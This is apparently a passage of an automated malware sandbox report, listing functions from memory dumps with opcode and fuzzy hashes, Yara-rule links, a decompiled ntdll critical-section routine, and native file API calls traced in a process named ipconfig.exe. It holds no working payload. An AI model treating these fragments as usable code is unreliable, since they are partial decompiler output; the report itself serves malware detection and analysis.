Uniqueness

Uniqueness Score: -1.00%

Function 0159746D, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5425cb54d0b3d1693fb435eddd1bd4775fc30c79023ba9417c4347e2066ea7e0
Instruction ID: aed153c18f9942e1313c926064a2cebdfd4cc9799eb368b16ac9ba0cffdfb7a9
Opcode Fuzzy Hash: 5425cb54d0b3d1693fb435eddd1bd4775fc30c79023ba9417c4347e2066ea7e0
Instruction Fuzzy Hash: 72F0BE34920146AADF129B6CC841BBDBFF1BF48214F080697D95AAF162E72498018F97

Uniqueness

Uniqueness Score: -1.00%

Function 01648CD6, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d762872700e419e73811b2482300e675bc76117faa509d84c68b403c9ae49a94
Instruction ID: 0c6778174378b41a2bded77f76d61a83815deee9ed382186ffe60880e50c133f
Opcode Fuzzy Hash: d762872700e419e73811b2482300e675bc76117faa509d84c68b403c9ae49a94
Instruction Fuzzy Hash: 45F0E271A0520AAFCB00DFE9D845EAE77B8FF5A200F100199E902EB380EA34D900C754

Uniqueness

Uniqueness Score: -1.00%

Function 01574F2E, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9623f93fbcbd025e7f3cde0a4453f2258e47106922fbd0aac7060170e1446788
Instruction ID: 3cc8ea40690ffa245dff2a353b2310588f66d038f2afd8aeefd2182dc2f9992e
Opcode Fuzzy Hash: 9623f93fbcbd025e7f3cde0a4453f2258e47106922fbd0aac7060170e1446788
Instruction Fuzzy Hash: 44F0E232529685CFFB72CB1CD184B2EBBD8BB00778F454465E4058FAA2C724EC40C741

Uniqueness

Uniqueness Score: -1.00%

Function 015AA44B, Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b55a01d05eb1897dedc975f388e41e37f49d246de67cab844585ecb02eb8422a
Instruction ID: ed29adfa6b9a75c3a554ef9c48f79ea73625c5ae222ef42f08f13594f209b47e
Opcode Fuzzy Hash: b55a01d05eb1897dedc975f388e41e37f49d246de67cab844585ecb02eb8422a
Instruction Fuzzy Hash: 81E09272A41422ABD3215E58EC00F6A779DEBE5655F094435F604DB214D668DD12C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 0157F358, Relevance: .0, Instructions: 28COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction ID: 0d491e3e079d4aa44547a8a6fe02d827ffe4ac4ec18bc73894c36e8d511f6b41
Opcode Fuzzy Hash: 61dda8323ae8c861ea8f02d60a1be81a40b0a62d8b7407e3baae4fe75ca8acd3
Instruction Fuzzy Hash: 01E0D832A41119FBDB21D6D9AE06F5EBFACEB94A60F000156FA04DB150D5649D00C2E1

Uniqueness

Uniqueness Score: -1.00%

Function 0158FF60, Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3474a091f3e2b8a2e4a1706ada6a969373a87c137b7970ea23a8868f73ef5aad
Instruction ID: e95672351ca6dddce8b85bee96c73c802b6787d24ed07877cccbf5b952d8bd91
Opcode Fuzzy Hash: 3474a091f3e2b8a2e4a1706ada6a969373a87c137b7970ea23a8868f73ef5aad
Instruction Fuzzy Hash: EFE0DFB0305204DFEB35EB5AD090F293B9CBB5A621F1A885FE4185F502D621D880C38A

Uniqueness

Uniqueness Score: -1.00%

Function 016041E8, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7a1b8ebd2711a084cc5e3ec2b4a161df6129fb1d943fba6921a6d1d6eff128da
Instruction ID: c132e8effc80e883b63eaef7a31d55b2b8772985bc8a22075f4c679e1f747c18
Opcode Fuzzy Hash: 7a1b8ebd2711a084cc5e3ec2b4a161df6129fb1d943fba6921a6d1d6eff128da
Instruction Fuzzy Hash: C0F0F874550781DECBB1EFB99D087A83EBCF794752F00916AD100972A8D7384460CF01

Uniqueness

Uniqueness Score: -1.00%

Function 0162D380, Relevance: .0, Instructions: 21COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction ID: d20aa13c6d568392fb92ea46174438da0260df0bad094edd1eb3d233d5cc920a
Opcode Fuzzy Hash: 07c5925e52f8afa1b7907533c1bd4f73c0082095210f26f206316f10964d23b8
Instruction Fuzzy Hash: 68E0C231280A16BBDB225E84CC01FA97B16EB907A0F104031FE085F790CA719C92DAC4

Uniqueness

Uniqueness Score: -1.00%

Function 015AA185, Relevance: .0, Instructions: 20COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe2bfbbb9dacbf378065f949b617b264350977872e03e54d2908eb157d46c89f
Instruction ID: f25379720e4f0968b5ab22deb7151127a8d8ecccc4ef4472af9dd6595be2c8e1
Opcode Fuzzy Hash: fe2bfbbb9dacbf378065f949b617b264350977872e03e54d2908eb157d46c89f
Instruction Fuzzy Hash: B6D05E711A10416ACB2D6F10FD54B7A3A1AF7C4760F74480DF2074F9A4EF68E8E5D299

Uniqueness

Uniqueness Score: -1.00%

Function 015A16E0, Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7e93a01a14cd8827b4f39e65b8851b04145e6f5e3f69144505c773d6c30bae9
Instruction ID: cc3227e3706f8305d37df752fbb3e29162ae1bf6db6cddbb471bc466cfb8f0eb
Opcode Fuzzy Hash: f7e93a01a14cd8827b4f39e65b8851b04145e6f5e3f69144505c773d6c30bae9
Instruction Fuzzy Hash: CCD0A77118054292EE2D5B14DC84B2D2A55FBD07C5F78005CF2078E8D0CFA4CC92E08C

Uniqueness

Uniqueness Score: -1.00%

Function 015F53CA, Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction ID: bf518d70a95fcc86b39e42323fe8b6bc4c1a9efc55d9282206d94aefedd9ccd1
Opcode Fuzzy Hash: 67b7ac285cf5eeec7b30a6c71a9a804199707b28aa5e3d1143cb4169285b8378
Instruction Fuzzy Hash: 10E08C319106819BCF12EF4CCA50F4EBBF5FB84B00F150018A1086F661C624AC00CB00

Uniqueness

Uniqueness Score: -1.00%

Function 0158AAB0, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction ID: b15018d1bdba83b8511158b1ba8448e36366d9f1725ed8331e39eb04ee91cafc
Opcode Fuzzy Hash: 0e648023605194c2b3aa9f86d2ec8309cbf58e884a879224c73f234beb57dbf0
Instruction Fuzzy Hash: 69D0E935352980CFE627DB1DC554B1A77A4BB44B44FC50490E501CFB62E66CD944CA00

Uniqueness

Uniqueness Score: -1.00%

Function 015A35A1, Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction ID: 1dab7056373ed34d9e24fbcdbd4ac6d62a1779809c5fb547ce0b19d71e84f8c0
Opcode Fuzzy Hash: 750563defb44073a80ffdee3a2c6a0b0b2386ed4e1eb18000b2b3230dd36d4d9
Instruction Fuzzy Hash: 1ED0A9318811829AEB82AF1CC21876C3BB2FB0A20CFD8206580820E852E33A4A0AC600

Uniqueness

Uniqueness Score: -1.00%

Function 0157DB40, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction ID: d72e491b44eb86f5b87c3efbd266b1f223b03a6aefe71dc92ce1e67a78423a60
Opcode Fuzzy Hash: 081987da54e71c0f98f8b6eb8dea8f5611fd71ec3e86a06c437935a1a17be5f8
Instruction Fuzzy Hash: C3C08C70280A02ABEB221F20CE02B103AA0BB50B45F8800A0A301DE0F0DB78DC02EA00

Uniqueness

Uniqueness Score: -1.00%

Function 015FA537, Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction ID: 6f2a1c4bc6f3f27d8907311bb540e18f63f8e63d2df47d5f3a8421f8a62f635c
Opcode Fuzzy Hash: d6c0dd98bdc9d799c561df663a79a4cb1d0de1ba5bb4d066895db6aa0bb5cbb5
Instruction Fuzzy Hash: 7DC01232080248BBCB126E81CD00F067B2AFBA4B60F008010BA080E5608632E970EA84

Uniqueness

Uniqueness Score: -1.00%

Function 01593A1C, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction ID: 5554f1504b0e2d51e597e7e57e0140d1ff233222aec54d4aeb5bab85c23acdc0
Opcode Fuzzy Hash: 96eed22535127586772c7987771c80cba013ba6a1ffa665a55b2596939b117e5
Instruction Fuzzy Hash: F4C08C32080248BBCB126E41DD00F017B29E7A0B60F000020F6040A5608532EC61D588

Uniqueness

Uniqueness Score: -1.00%

Function 0157AD30, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction ID: 18ac31dc8adc05f67e7fcce79adcc3ea2ee149bbdbe22d756b968be29dc58ded
Opcode Fuzzy Hash: f53cbf097bf331e7efa67100c9216def11484318fb2f65513ba4bfb7ef6fc44f
Instruction Fuzzy Hash: D8C08C32080248BBCB126B45CD00F057B29E7A4B60F000021B6040A6618932E861D988

Uniqueness

Uniqueness Score: -1.00%

Function 015A36CC, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction ID: e90adb177ed923b17ece826d8d972cbdaab2aa0fc502444ce7059ea8b1febbb2
Opcode Fuzzy Hash: 4f3d4ce0a081fc3392adb3a1b0c88d62f1a47c6b625de355985342774c730a51
Instruction Fuzzy Hash: CAC02BB0190440FBDB151F30CE00F1C7254F740A25FB40354B2208E4F0D5289C00D100

Uniqueness

Uniqueness Score: -1.00%

Function 015876E2, Relevance: .0, Instructions: 10COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction ID: 20f3e1cac90bf17f381c9d8ceaa579fe724672977c35e3ddabe6bc34e7fce68a
Opcode Fuzzy Hash: 779d3b12954878cff5fec068ca9c86adddf3072d6236c1739843d2e534c1de0a
Instruction Fuzzy Hash: 94C08C701551815AEF2A670DCE20B283A50BB0C64CF68019CAA212D4A2C368A803C608

Uniqueness

Uniqueness Score: -1.00%

Function 01597D50, Relevance: .0, Instructions: 7COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction ID: 6a20db8aa0beec7eafef4460c5deb88a62b1841b5010ac2560b414370ebdd1b9
Opcode Fuzzy Hash: d8f8299b16f752bf61d1185b43a99e53329511a2be3aa4238e34382007679d93
Instruction Fuzzy Hash: BAB09235311A408FCF16DF18C080B1933E4BB48A40B8400D0E400CBA21D229E8009900

Uniqueness

Uniqueness Score: -1.00%

Function 015A2ACB, Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction ID: e800975920eda882c089a6aab5afc15fffc3ac0346415849b63627c98c67b2a8
Opcode Fuzzy Hash: 15609d918e1561f37e97de8b3878496f5feb00f452f9af5c60cfc93e4e46d55a
Instruction Fuzzy Hash: 98B01232C10442CFCF02FF40CA10B197331FB40750F05449090013B930C228AC01CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0160FDDA, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0160FDDA(intOrPtr* __edx, intOrPtr _a4) {
				void* _t7;
				intOrPtr _t9;
				intOrPtr _t10;
				intOrPtr* _t12;
				intOrPtr* _t13;
				intOrPtr _t14;
				intOrPtr* _t15;

				_t13 = __edx;
				_push(_a4);
				_t14 =  *[fs:0x18];
				_t15 = _t12;
				_t7 = E015BCE00( *__edx,  *((intOrPtr*)(__edx + 4)), 0xff676980, 0xffffffff);
				_push(_t13);
				E01605720(0x65, 1, "RTL: Enter CriticalSection Timeout (%I64u secs) %d\n", _t7);
				_t9 =  *_t15;
				if(_t9 == 0xffffffff) {
					_t10 = 0;
				} else {
					_t10 =  *((intOrPtr*)(_t9 + 0x14));
				}
				_push(_t10);
				_push(_t15);
				_push( *((intOrPtr*)(_t15 + 0xc)));
				_push( *((intOrPtr*)(_t14 + 0x24)));
				return E01605720(0x65, 0, "RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u\n",  *((intOrPtr*)(_t14 + 0x20)));
			}

0x0160fdda
0x0160fde2
0x0160fde5
0x0160fdec
0x0160fdfa
0x0160fdff
0x0160fe0a
0x0160fe0f
0x0160fe17
0x0160fe1e
0x0160fe19
0x0160fe19
0x0160fe19
0x0160fe20
0x0160fe21
0x0160fe22
0x0160fe25
0x0160fe40

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0160FDFA

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 0160FE2B
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 0160FE01

Memory Dump Source

Source File: 00000005.00000002.295139182.0000000001550000.00000040.00000001.sdmp, Offset: 01550000, based on PE: true

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u
API String ID: 885266447-3903918235
Opcode ID: f2619b0436fccf23d2fef50476ea8da185768aae3f5a475abbf7927ff7d0e667
Instruction ID: c551c5856b0b7c327f511e0aa48d019fef3461b72c93f70be747ce4b6cd4bc44
Opcode Fuzzy Hash: f2619b0436fccf23d2fef50476ea8da185768aae3f5a475abbf7927ff7d0e667
Instruction Fuzzy Hash: 25F0F632200202BFE6251A45DC06F33BF5AEB44B30F140318F6285A1E1DA62FC2096F4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: ipconfig.exe PID: 6820 Parent PID: 3292 ipconfig.exeCOMMON

Executed Functions

Function 003C81B0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,003C3B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,003C3B87,007A002E,00000000,00000060,00000000,00000000), ref: 003C81FD

Strings

.z`, xrefs: 003C81ED, 003C81F8

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction ID: 201e72a9ab721b03a1f5e956982992c8cb31ebfecd10da6e3c7947cda084bfec
Opcode Fuzzy Hash: 19fa48ade07888cfcca4191431b874d7c75bcaabbd4d52727e7364b5df5f6853
Instruction Fuzzy Hash: 5FF0B6B2200108ABCB08CF88DC85EEB77ADAF8C754F158248BA0D97241CA30EC118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 003C81AA, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 40filenativeCOMMON

Download Yara Rule

APIs

NtCreateFile.NTDLL(00000060,00000000,.z`,003C3B87,00000000,FFFFFFFF,?,?,FFFFFFFF,00000000,003C3B87,007A002E,00000000,00000060,00000000,00000000), ref: 003C81FD

Strings

.z`, xrefs: 003C81ED, 003C81F8

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: CreateFile
String ID: .z`
API String ID: 823142352-1441809116
Opcode ID: dd3c106c252823e60feb3c56f4ffaf45cd7539ca4d6638c38fa993c44155af7f
Instruction ID: 439187fe702a0f3157c7eda2ebfe366716ccf63516eeabc90c235a4b3810756f
Opcode Fuzzy Hash: dd3c106c252823e60feb3c56f4ffaf45cd7539ca4d6638c38fa993c44155af7f
Instruction Fuzzy Hash: 33F0E7B2214149ABCB08CF98DC85CEB77A9FF8C354B15878DFA5D97202D634EC518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 003C82E0, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 20nativeCOMMON

Download Yara Rule

APIs

NtClose.NTDLL( =<,?,?,003C3D20,00000000,FFFFFFFF), ref: 003C8305

Strings

=<, xrefs: 003C82FC, 003C8304

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: Close
String ID: =<
API String ID: 3535843008-2190191563
Opcode ID: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction ID: 663c122615e45415f6d9678b6b9e1e91b66e38c30036f7c6c2a526e10a0903cd
Opcode Fuzzy Hash: aa41620b67aec822f8463caeb84bd84f714cc802f2fd34de09a1d76353dd2617
Instruction Fuzzy Hash: 6CD012752002146BD710EF98CC45FE7775CEF44750F154459BA199B242C930FA0087E0

Uniqueness

Uniqueness Score: -1.00%

Function 003C825A, Relevance: 1.5, APIs: 1, Instructions: 37filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,FFFFFFFF,003C3A01,?,?,?,?,003C3A01,FFFFFFFF,?,B=<,?,00000000), ref: 003C82A5

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 39bb064e82e08bfe33ae14d8b8102b355fdd2cb757e296651151b936b1e5ad38
Instruction ID: 734d3846d8846141b26dd450191190f1640cebf20a0e6cee1d4036cb959a27d3
Opcode Fuzzy Hash: 39bb064e82e08bfe33ae14d8b8102b355fdd2cb757e296651151b936b1e5ad38
Instruction Fuzzy Hash: 01F0F9B2200108AFCB14CF99CC95EEB77A9BF8C354F158248FA4DE7241CA30E811CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 003C8260, Relevance: 1.5, APIs: 1, Instructions: 36filenativeCOMMON

Download Yara Rule

APIs

NtReadFile.NTDLL(?,?,FFFFFFFF,003C3A01,?,?,?,?,003C3A01,FFFFFFFF,?,B=<,?,00000000), ref: 003C82A5

Memory Dump Source

Source File: 0000000F.00000002.492372341.00000000003B0000.00000040.00000001.sdmp, Offset: 003B0000, based on PE: false

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction ID: df3115ba21489ee4ab0cf7954512597283a3c4e2cddf593b498d4f3f1d62da02
Opcode Fuzzy Hash: 1cb0ad745fa17a6b0f92d1251f92e59420b1dcb8c70dd00eb84f7822971f7938
Instruction Fuzzy Hash: A0F0A4B2200208ABCB14DF89DC85EEB77ADAF8C754F158248BA1D97241DA30ED118BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00D99840, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D9984A

Memory Dump Source

Source File: 0000000F.00000002.495544603.0000000000D30000.00000040.00000001.sdmp, Offset: 00D30000, based on PE: true

Associated: 0000000F.00000002.496563172.0000000000E4B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.496578865.0000000000E4F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 01b329d8178bf9cc42b7008cf993be09e940865e4cc0ae1f79130fb1e7430731
Instruction ID: dd553f1eacad42f14d59b521d39a9cb1bcea57562d166bc5e3f30d76cb0629f9
Opcode Fuzzy Hash: 01b329d8178bf9cc42b7008cf993be09e940865e4cc0ae1f79130fb1e7430731
Instruction Fuzzy Hash: E4900261242041665645B15944045075007A7E53917D1C022A14149A0C89669896E671

Uniqueness

Uniqueness Score: -1.00%

Function 00D99860, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D9986A

Memory Dump Source

Source File: 0000000F.00000002.495544603.0000000000D30000.00000040.00000001.sdmp, Offset: 00D30000, based on PE: true

Associated: 0000000F.00000002.496563172.0000000000E4B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.496578865.0000000000E4F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 098858955fd68615f1ef4ae8b7eede1f984c3e3290a2da27145a66d0d2e147b0
Instruction ID: 89ec7a2791d442ae0185fe7518688b4c75c95e3a04ab67855c5161b84bb5fda1
Opcode Fuzzy Hash: 098858955fd68615f1ef4ae8b7eede1f984c3e3290a2da27145a66d0d2e147b0
Instruction Fuzzy Hash: F890027120100427D21161594504707100A97D5391FD1C422A04245A8D9A968992F171

Uniqueness

Uniqueness Score: -1.00%

Function 00D999A0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D999AA

Memory Dump Source

Source File: 0000000F.00000002.495544603.0000000000D30000.00000040.00000001.sdmp, Offset: 00D30000, based on PE: true

Associated: 0000000F.00000002.496563172.0000000000E4B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.496578865.0000000000E4F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 570078c80deca44107dcb598500c78de43d204df891750cdba986f9d6ebd7617
Instruction ID: 7c23d8c63a3f89eb2ea5b4a04cace031730321787ec730f4200f94b86490c9e1
Opcode Fuzzy Hash: 570078c80deca44107dcb598500c78de43d204df891750cdba986f9d6ebd7617
Instruction Fuzzy Hash: BA9002A134100456D20061594414B061006D7E6351F91C025E10645A4D8A59CC92B176

Uniqueness

Uniqueness Score: -1.00%

Function 00D99910, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D9991A

Memory Dump Source

Source File: 0000000F.00000002.495544603.0000000000D30000.00000040.00000001.sdmp, Offset: 00D30000, based on PE: true

Associated: 0000000F.00000002.496563172.0000000000E4B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.496578865.0000000000E4F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 8094a11e03968d01330a8f78f7ad28795181b30a1f33046f2d0e4aef37bd9604
Instruction ID: 2310a0574e12952905002de668b736902e3c78d4b1c322294a9cc65987ea953a
Opcode Fuzzy Hash: 8094a11e03968d01330a8f78f7ad28795181b30a1f33046f2d0e4aef37bd9604
Instruction Fuzzy Hash: 359002B120100416D24071594404746100697D5351F91C021A50645A4E8A998DD5B6B5

Uniqueness

Uniqueness Score: -1.00%

Function 00D99A50, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D99A5A

Memory Dump Source

Source File: 0000000F.00000002.495544603.0000000000D30000.00000040.00000001.sdmp, Offset: 00D30000, based on PE: true

Associated: 0000000F.00000002.496563172.0000000000E4B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.496578865.0000000000E4F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 166d6e129c51e17153cb4e6843bdffc96aa780784a8e7a474584e4576c1732db
Instruction ID: 98446743aa530bd715c0b204abf5b3c81755268d6b8f22091eb42d5ac3c56cee
Opcode Fuzzy Hash: 166d6e129c51e17153cb4e6843bdffc96aa780784a8e7a474584e4576c1732db
Instruction Fuzzy Hash: 0390026121180056D30065694C14B07100697D5353F91C125A01545A4CCD5588A1A571

Uniqueness

Uniqueness Score: -1.00%

Function 00D995D0, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D995DA

Memory Dump Source

Source File: 0000000F.00000002.495544603.0000000000D30000.00000040.00000001.sdmp, Offset: 00D30000, based on PE: true

Associated: 0000000F.00000002.496563172.0000000000E4B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.496578865.0000000000E4F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d0701d83176f62e064e7ae9775eb06bf6051fcd8438ea965d984ed9ca8e9c4cf
Instruction ID: 25b6a454aa38169e3e74ef1647215b9a8371e4673b7841429d6f31473ab19a97
Opcode Fuzzy Hash: d0701d83176f62e064e7ae9775eb06bf6051fcd8438ea965d984ed9ca8e9c4cf
Instruction Fuzzy Hash: 8A9002A120200017420571594414616500B97E5351B91C031E10145E0DC96588D1B175

Uniqueness

Uniqueness Score: -1.00%

Function 00D99540, Relevance: 1.5, APIs: 1, Instructions: 4libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 00D9954A

Memory Dump Source

Source File: 0000000F.00000002.495544603.0000000000D30000.00000040.00000001.sdmp, Offset: 00D30000, based on PE: true

Associated: 0000000F.00000002.496563172.0000000000E4B000.00000040.00000001.sdmp Download File
Associated: 0000000F.00000002.496578865.0000000000E4F000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e7a55477af2a3ca7a579ead6507c81d1c2c04b172f17e136acb7c4e7f144b2a7
Instruction ID: e06dca2942cd656af694b9628dcfbcb84649f789cefe0bdbe39438e81498418c
Opcode Fuzzy Hash: e7a55477af2a3ca7a579ead6507c81d1c2c04b172f17e136acb7c4e7f144b2a7
Instruction Fuzzy Hash: DF900265211000170205A5590704507104797DA3A1391C031F10155A0CDA6188A1A171

Uniqueness

